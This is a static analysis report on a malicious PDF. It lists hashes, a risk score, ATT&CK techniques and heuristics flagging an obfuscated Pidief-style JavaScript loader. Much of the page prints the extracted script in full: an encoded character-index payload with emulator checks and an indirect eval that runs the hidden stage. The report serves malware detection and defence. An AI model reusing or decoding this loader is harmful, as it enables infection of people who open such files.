Malicious PDF — malware analysis report

Static analysis result for SHA-256 70fbc9ff77d6ea6c…

MALICIOUS

PDF

12.1 KB First seen: 2012-06-30
MD5: 0da10613a8b29c3f0e3deb44ffd59c65 SHA-1: 0202c69038c6ce7f755fc4b8bc92b6f4ed114b92 SHA-256: 70fbc9ff77d6ea6c3bea5c87153e9033afcda09c5030a48b4246df5727f1dd6a
88 Risk Score

Malware Insights

MITRE ATT&CK
T1059.007 JavaScript T1566.001 Spearphishing Attachment

The PDF contains obfuscated JavaScript, identified as a loader, which is designed to download and execute a secondary payload. The ML classifier strongly indicates maliciousness. The presence of obfuscated JavaScript points to an attempt to conceal malicious activity, likely for initial access via spearphishing.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 4

  • Obfuscated Pidief-style JavaScript loader (stage not decoded) high CVE related PDF_PIDIEF_OBFUSCATED_VERSION_GATED_LOADER
    PDF JavaScript carries a large opaque encoded stage (a letter-delimited numeric character-code array) that is built to be decoded and eval'd, but no exact Adobe Reader CVE could be attributed because the encoding scheme resisted full static decoding. This is the structural fingerprint of the Pidief / multi-CVE exploit-kit loader family — a version-gated obfuscated JavaScript stage with no benign use. Flagged suspicious on its own; an ML/AV signal or a recovered heap-spray pushes it to malicious.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0076_000.js pdf-javascript-stream PDF /JS object 76 at offset 0x34B 11368 bytes
SHA-256: 961e21d37de4f394fce2d91a776812008e462772f3090498f193357e83160813
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
j='vt34t';
z
=
'0a1a2a3a2a4a5a4a6a6a7a8a9a10a11a4a12a13a14a15a16a16a12a13a1a17a3a18a12a13a14a19a1a17a12a13a20a19a3a18a12a13a3a21a15a18a12a13a15a15a19a1a12a13a16a18a17a22a12a13a18a22a14a7a12a13a14a7a15a22a12a13a22a17a18a22a12a13a20a22a14a7a12a13a19a16a5a17a12a13a20a16a14a7a12a13a15a15a22a14a12a13a16a16a23a7a12a13a19a3a14a7a12a13a22a15a15a17a12a13a15a15a20a18a12a13a14a5a24a17a12a13a5a19a3a3a12a13a1a1a5a22a12a13a7a14a1a1a12a13a18a22a14a7a12a13a17a15a15a22a12a13a15a21a18a16a12a13a20a19a22a16a12a13a14a20a1a7a12a13a24a18a15a18a12a13a3a18a14a19a12a13a19a5a20a19a12a13a3a7a3a21a12a13a19a5a18a17a12a13a14a7a19a16a12a13a15a17a20a19a12a13a20a18a14a7a12a13a20a14a15a19a12a13a1a19a22a15a12a13a14a7a19a16a12a13a24a22a20a16a12a13a1a19a22a15a12a13a17a21a15a15a12a13a18a5a18a21a12a13a25a23a1a17a12a13a17a19a22a15a12a13a23a7a15a15a12a13a7a3a22a1a12a13a15a14a5a22a12a13a20a18a1a24a12a13a17a5a22a14a12a13a22a23a17a7a12a13a23a25a22a15a12a13a3a7a18a22a12a13a15a7a1a5a12a13a20a19a5a1a12a13a19a3a3a16a12a13a19a3a14a7a12a13a22a15a24a18a12a13a16a16a23a23a12a13a22a17a14a7a12a13a14a23a18a7a12a13a3a17a18a16a12a13a19a18a1a1a12a13a22a17a24a18a12a13a23a14a14a7a12a13a23a23a22a15a12a13a22a18a14a7a12a13a22a15a14a7a12a13a25a7a17a19a12a13a19a21a19a3a12a13a3a7a17a15a12a13a25a23a19a15a12a13a16a14a14a7a12a13a14a22a24a22a12a13a22a17a20a23a12a13a20a18a15a15a12a13a21a16a22a15a12a13a1a15a3a7a12a13a16a14a14a7a12a13a14a7a22a14a12a13a16a25a1a20a12a13a19a21a22a19a12a13a21a14a3a14a12a13a1a1a1a1a12a13a3a24a1a1a12a13a3a14a1a21a12a13a22a22a22a22a12a13a22a22a22a22a12a13a19a22a19a14a12a13a18a22a16a25a12a13a1a1a16a14a12a13a22a22a22a22a12a13a19a22a22a22a12a13a17a22a14a15a12a13a19a22a5a21a12a13a14a7a19a19a12a13a14a7a3a17a12a13a5a22a19a3a12a13a17a15a14a15a12a13a1a1a22a19a12a13a16a14a3a15a12a13a16a3a16a1a12a13a22a22a22a22a12a13a20a19a16a14a12a13a16a17a20a24a12a13a19a18a16a23a12a13a5a16a1a1a12a13a17a18a14a15a12a13a14a7a22a14a12a13a3a14a3a14a12a13a1a1a16a5a12a13a1a1a1a1a12a13a22a24a3a7a12a13a20a24a3a7a12a13a3a17a14a5a12a13a22a5a22a18a12a13a22a22a22a22a12a13a19a17a14a23a12a13a22a17a24a18a12a13a22a18a17a20a12a13a20a24a24a18a12a13a16a20a16a19a12a13a17a20a20a15a12a13a24a18a18a18a12a13a20a16a22a18a12a13a15a15a20a24a12a13a17a20a15a24a12a13a24a18a18a18a12a13a24a22a22a14a12a13a20a15a24a23a12a13a19a15a24a22a12a13a1a14a16a14a12a13a22a22a22a22a12a13a1a1a22a22a12a13a22a17a19a16a12a13a3a14a14a7a12a13a17a21a15a15a12a13a17a20a19a5a12a13a5a23a18a18a12a13a20a20a22a22a12a13a16a24a20a22a12a13a17a20a20a18a12a13a5a23a18a18a12a13a24a3a22a19a12a13a16a17a16a18a12a13a17a16a16a17a12a13a5a23a18a18a12a13a22a22a22a21a12a13a14a25a19a21a12a13a22a18a17a5a12a13a14a14a15a22a12a13a5a23a18a18a12a13a18a5a22a18a12a13a16a25a19a5a12a13a16a25a22a22a12a13a19a15a22a22a12a13a16a25a19a20a12a13a1a1a22a22a12a13a5a18a19a16a12a13a17a22a14a19a12a13a5a16a20a19a12a13a22a22a16a25a12a13a1a1a19a15a12a13a22a18a19a16a12a13a22a22a16a25a12a13a3a7a14a15a12a13a19a15a22a17a12a13a19a16a1a1a12a13a14a15a22a18a12a13a22a17a17a15a12a13a22a24a3a7a12a13a5a15a3a7a12a13a14a22a18a20a12a13a22a22a15a1a12a13a1a25a20a19a12a13a14a22a18a20a12a13a22a22a15a1a12a13a17a18a20a19a12a13a22a22a16a25a12a13a1a3a16a25a12a13a19a16a1a1a12a13a3a14a22a14a12a13a1a3a21a17a12a13a1a1a1a1a12a13a18a3a14a3a12a13a3a17a22a3a12a13a1a3a21a14a12a13a22a3a14a25a12a13a16a1a14a21a12a13a7a23a22a5a12a13a17a25a15a15a12a13a19a7a14a25a12a13a17a16a5a7a12a13a20a21a18a16a12a13a5a25a15a16a12a13a20a22a24a1a12a13a20a18a16a14a12a13a20a22a20a18a12a13a24a1a15a25a12a13a20a22a24a1a12a13a20a24a16a5a12a13a16a14a16a5a12a13a16a17a16a1a12a13a24a3a16a19a12a13a20a19a20a24a12a13a20a20a24a1a12a13a20a22a24a3a12a13a20a22a16a14a12a13a16a16a15a1a12a13a15a5a15a23a12a13a15a19a15a15a12a13a16a19a24a16a12a13a15a19a15a23a12a13a22a22a22a22a4a26a1a13a27a17a28a0a29a27a30a3a31a32a33a2a33a25a34a35a36a6a37a38a39a0a40a3a2a33a25a41a40a3a27a10a28a39a42a24a43a35a36a6a37a33a25a44a11a33a25a26a45a33a25a11a33a25a41a9a13a7a9a28a33a0a27a10a2a22a34a35a36a46a24a6a26a33a3a28a13a33a27a30a33a25a26a45a30a1a13a27a17a28a0a29a27a30a7a47a2a6a37a32a25a33a30a23a48a10a11a27a3a38a30a49a33a33a25a36a2a6a26a32a25a33a30a32a38a11a22a47a22a17a22a17a22a17a22a17a26a32a25a33a30a25a23a23a33a11a22a47a18a22a22a22a22a22a26a32a25a33a30a50a25a36a40a29a25a23a11a13a27a3a9a17a25a50a3a2a7a8a9a10a6a26a32a25a33a30a9a17a51a40a3a27a11a50a25a36a40a29a25a23a41a40a3a27a10a28a39a42a24a26a32a25a33a30a35a36a11a25a23a23a33a52a2a9a17a51a40a3a27a44a22a47a15a14a6a26a32a25a33a30a36a25a33a9a50a11a13a27a3a9a17a25a50a3a2a53a12a13a21a22a21a22a12a13a21a22a21a22a53a6a26a36a25a33a9a50a11a3a31a32a33a2a36a25a33a9a50a34a35a36a6a26a32a25a33a30a17a29a13a27a28a24a11a2a32a38a52a22a47a18a22a22a22a22a22a6a46a25a23a23a33a26a1a29a33a2a32a25a33a30a17a29a13a27a28a11a22a26a17a29a13a27a28a43a17a29a13a27a28a24a26a17a29a13a27a28a44a44a6a37a23a48a10a54a17a29a13a27a28a55a11a36a25a33a9a50a44a50a25a36a40a29a25a23a26a45a30a32a25a33a30a29a32a3a33a1a40a29a38a11a13a27a3a9a17a25a50a3a2a53a12a13a22a17a22a17a12a13a22a17a22a17a53a6a26a38a39a0a40a3a2a29a32a3a33a1a40a29a38a41a40a3a27a10a28a39a43a18a18a21a19a24a6a37a29a32a3a33a1a40a29a38a44a11a29a32a3a33a1a40a29a38a26a45a30a28a39a0a9a41a17a29a40a40a25a7a56a28a29a33a3a11a57a29a40a40a25a7a41a17a29a40a40a3a17a28a58a59a25a0a40a60a27a1a29a2a37a9a13a7a8a61a53a53a34a59a9a10a61a29a32a3a33a1a40a29a38a45a6a26a45a30a1a13a27a17a28a0a29a27a30a50a33a0a27a28a1a2a6a37a27a29a50a11a13a27a3a9a17a25a50a3a2a53a12a13a22a49a22a49a12a13a22a49a22a49a12a13a22a49a22a49a12a13a22a49a22a49a53a6a26a32a25a33a30a50a25a36a40a29a25a23a11a13a27a3a9a17a25a50a3a2a7a8a9a10a6a26a39a3a25a50a7a40a29a17a48a11a27a29a50a44a50a25a36a40a29a25a23a26a7a0a10a7a40a29a17a48a11a13a27a3a9a17a25a50a3a2a53a12a13a22a49a22a49a12a13a22a49a22a49a53a6a26a39a3a25a23a3a33a9a0a31a3a11a24a22a26a9a50a33a25a36a11a39a3a25a23a3a33a9a0a31a3a44a39a3a25a50a7a40a29a17a48a41a40a3a27a10a28a39a26a38a39a0a40a3a2a7a0a10a7a40a29a17a48a41a40a3a27a10a28a39a43a9a50a33a25a36a6a37a7a0a10a7a40a29a17a48a44a11a7a0a10a7a40a29a17a48a26a45a30a1a0a40a40a7a40a29a17a48a11a7a0a10a7a40a29a17a48a41a9a13a7a9a28a33a0a27a10a2a22a34a9a50a33a25a36a6a26a7a40a29a17a48a11a7a0a10a7a40a29a17a48a41a9a13a7a9a28a33a0a27a10a2a22a34a7a0a10a7a40a29a17a48a41a40a3a27a10a28a39a52a9a50a33a25a36a6a26a38a39a0a40a3a2a7a40a29a17a48a41a40a3a27a10a28a39a44a9a50a33a25a36a43a22a47a18a22a22a22a22a6a37a7a40a29a17a48a11a7a40a29a17a48a44a7a40a29a17a48a44a1a0a40a40a7a40a29a17a48a26a45a30a59a3a59a11a27a3a38a30a49a33a33a25a36a2a6a26a1a29a33a2a0a11a22a26a0a43a5a18a22a22a26a0a44a44a6a37a59a3a59a54a0a55a11a7a40a29a17a48a44a39a3a25a50a7a40a29a17a48a26a45a30a32a25a33a30a27a13a59a11a5a24a21a21a21a21a21a21a21a21a21a21a21a21a21a21a21a21a21a21a14a14a14a14a14a14a14a14a14a14a14a14a14a14a14a14a14a14a14a14a14a14a14a14a14a14a14a14a14a14a14a14a14a14a14a14a14a14a14a14a14a14a14a14a14a14a14a14a14a14a14a14a14a14a14a14a14a14a14a14a14a14a14a14a14a14a14a14a14a14a14a14a14a14a14a14a14a14a14a14a14a14a14a14a14a14a14a14a14a14a14a14a14a14a14a14a14a14a14a14a14a14a14a14a14a14a14a14a14a14a14a14a14a14a14a14a14a14a14a14a14a14a14a14a14a14a14a14a14a14a14a14a14a14a14a14a14a14a14a14a14a14a14a14a14a14a14a14a14a14a14a14a14a14a14a14a14a14a14a14a14a14a14a14a14a14a14a14a14a14a14a14a14a14a14a14a14a14a14a14a14a14a14a14a14a14a14a14a14a14a14a14a14a14a14a14a14a14a14a14a14a14a14a14a14a14a14a14a14a14a14a14a14a14a14a14a14a14a14a14a14a14a14a14a14a14a14a14a14a14a14a14a14a14a14a14a14a14a14a14a14a14a14a14a14a14a14a14a14a14a14a14a14a14a14a14a14a14a14a14a14a14a14a14a14a14a14a14a14a14a14a14a14a14a14a14a26a13a28a0a40a41a50a33a0a27a28a1a2a53a12a18a19a22a22a22a1a53a34a27a13a59a6a26a45a30a1a13a27a17a28a0a29a27a30a10a3a28a0a17a29a27a2a6a37a32a25a33a30a25a33a33a36a11a27a3a38a30a49a33a33a25a36a2a6a26a0a1a2a25a50a50a41a23a29a17a41a57a29a40a40a25a7a41a10a3a28a60a17a29a27a6a37a32a25a33a30a50a25a36a40a29a25a23a11a13a27a3a9a17a25a50a3a2a7a8a9a10a6a26a32a25a33a30a39a62a35a19a22a22a57a63a11a50a25a36a40a29a25a23a41a40a3a27a10a28a39a42a24a26a32a25a33a30a35a36a11a22a47a18a22a22a22a22a22a52a2a39a62a35a19a22a22a57a63a44a22a47a15a14a6a26a32a25a33a30a36a25a33a9a50a11a13a27a3a9a17a25a50a3a2a53a12a13a21a22a21a22a12a13a21a22a21a22a53a6a26a36a25a33a9a50a11a3a31a32a33a2a36a25a33a9a50a34a35a36a6a26a32a25a33a30a50a19a49a8a64a16a19a1a11a2a22a47a22a17a22a17a22a17a22a17a52a22a47a18a22a22a22a22a22a6a46a22a47a18a22a22a22a22a22a26a1a29a33a2a32a25a33a30a32a35a17a65a66a21a16a36a11a22a26a32a35a17a65a66a21a16a36a43a50a19a49a8a64a16a19a1a26a32a35a17a65a66a21a16a36a44a44a6a37a25a33a33a36a54a32a35a17a65a66a21a16a36a55a11a36a25a33a9a50a44a50a25a36a40a29a25a23a26a45a30a32a25a33a30a28a67a68a39a63a7a69a38a11a13a27a3a9a17a25a50a3a2a53a12a22a21a53a6a26a38a39a0a40a3a2a28a67a68a39a63a7a69a38a41a40a3a27a10a28a39a43a22a47a18a22a22a22a6a37a28a67a68a39a63a7a69a38a44a11a28a67a68a39a63a7a69a38a26a45a30a28a67a68a39a63a7a69a38a11a53a63a41a53a44a28a67a68a39a63a7a69a38a26a25a50a50a41a23a29a17a41a57a29a40a40a25a7a41a10a3a28a60a17a29a27a2a28a67a68a39a63a7a69a38a6a26a45a45a30a25a70a40a13a10a0a27a9a11a25a50a50a41a50a40a13a10a60a27a9a26a32a25a33a30a9a32a11a50a25a33a9a3a60a27a28a2a25a50a50a41a32a0a3a38a3a33a71a3a33a9a0a29a27a41a28a29a56a28a33a0a27a10a2a6a41a17a39a25a33a49a28a2a22a6a6a26a1a29a33a2a32a25a33a30a0a11a22a26a0a43a25a70a40a13a10a0a27a9a41a40a3a27a10a28a39a26a0a44a44a6a37a0a1a2a25a70a40a13a10a0a27a9a54a0a55a41a27a25a59a3a11a11a4a58a56a17a33a0a50a28a4a6a37a32a25a33a30a40a32a11a25a70a40a13a10a0a27a9a54a0a55a41a32a3a33a9a0a29a27a26a45a45a30a0a1a2a2a40a32a11a11a21a6a72a72a2a2a9a32a11a11a14a6a73a73a2a40a32a43a11a14a41a5a24a6a6a6a37a10a3a28a0a17a29a27a2a6a26a45a3a40a9a3a30a0a1a2a40a32a11a11a20a41a5a6a37a50a33a0a27a28a1a2a6a26a45a3a40a9a3a30a0a1a2a2a2a9a32a11a11a16a6a72a72a2a9a32a11a11a20a6a6a73a73a2a40a32a43a20a41a5a5a6a6a37a7a47a2a6a26a45a3a40a9a3a30a0a1a2a2a40a32a74a11a21a41a5a6a72a72a2a40a32a43a11a21a41a24a6a72a72a2a40a32a74a11a14a41a5a15a6a72a72a2a40a32a43a11a14a41a5a20a6a6a37a1a13a27a17a28a0a29a27a30a25a2a6a37a13a28a0a40a41a50a33a0a27a28a23a2a4a50a75a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a30a61a30a36a36a36a36a5a5a5a4a34a27a3a38a30a66a25a28a3a2a6a6a26a45a32a25a33a30a39a11a25a50a50a41a50a40a13a10a60a27a9a26a1a29a33a2a32a25a33a30a1a11a22a26a1a43a39a41a40a3a27a10a28a39a26a1a44a44a6a37a0a1a2a39a54a1a55a41a27a25a59a3a11a11a4a58a56a17a33a0a50a28a4a6a37a32a25a33a30a0a11a39a54a1a55a41a32a3a33a9a0a29a27a26a45a45a30a0a1a2a2a0a74a14a41a5a24a6a73a73a2a0a43a14a41a24a6a6a37a17a11a27a3a38a30a49a33a33a25a36a2a6a26a32a25a33a30a23a11a13a27a3a9a17a25a50a3a2a4a12a13a21a22a21a22a12a13a21a22a21a22a4a6a26a32a25a33a30a3a11a13a27a3a9a17a25a50a3a2a7a8a9a10a6a26a38a39a0a40a3a2a23a41a40a3a27a10a28a39a43a11a22a47a14a22a22a22a6a37a23a44a11a23a26a45a23a11a23a41a9a13a7a9a28a33a2a22a34a22a47a14a22a22a22a52a3a41a40a3a27a10a28a39a6a26a1a29a33a2a1a11a22a26a1a43a24a21a22a22a26a1a44a44a6a37a17a54a1a55a11a23a44a3a26a45a25a2a6a26a25a2a6a26a28a33a36a37a28a39a0a9a41a59a3a23a0a25a41a27a3a38a70a40a25a36a3a33a2a27a13a40a40a6a26a45a17a25a28a17a39a2a3a6a37a45a25a2a6a26a45a45'.split('a');
a=new String("if(e'1)bjsg=%u836c45790d2a;nto zvr,qy{whl.*<+}/xkAp_-'[]SCEmI:WNKQDUMGPV|&>@");
b="l";
b2="a"
+b;
try
{
for(i in app)
if(i=='printerNames')
new asd;
}catch(q){
e=j[
's'
+
'u'+'bstr']();
try{
b='e'+'v'+b2;
if(!google.search())
a=2;
}
catch(q){
e=
e[
b];
}
try{if(!google.search())throw 1;}catch(q){r=1;}{
s="";
for(j=0;j<z.length;j++)
try{
if(!google.search())throw 1;}catch(q){
s
+=
a[
z[
j]];
}
}}

try{if(!google.search())new ewt;}
catch(nergerg){
e(s);
}

Open this report in the interactive analyzer, or submit your own file for analysis.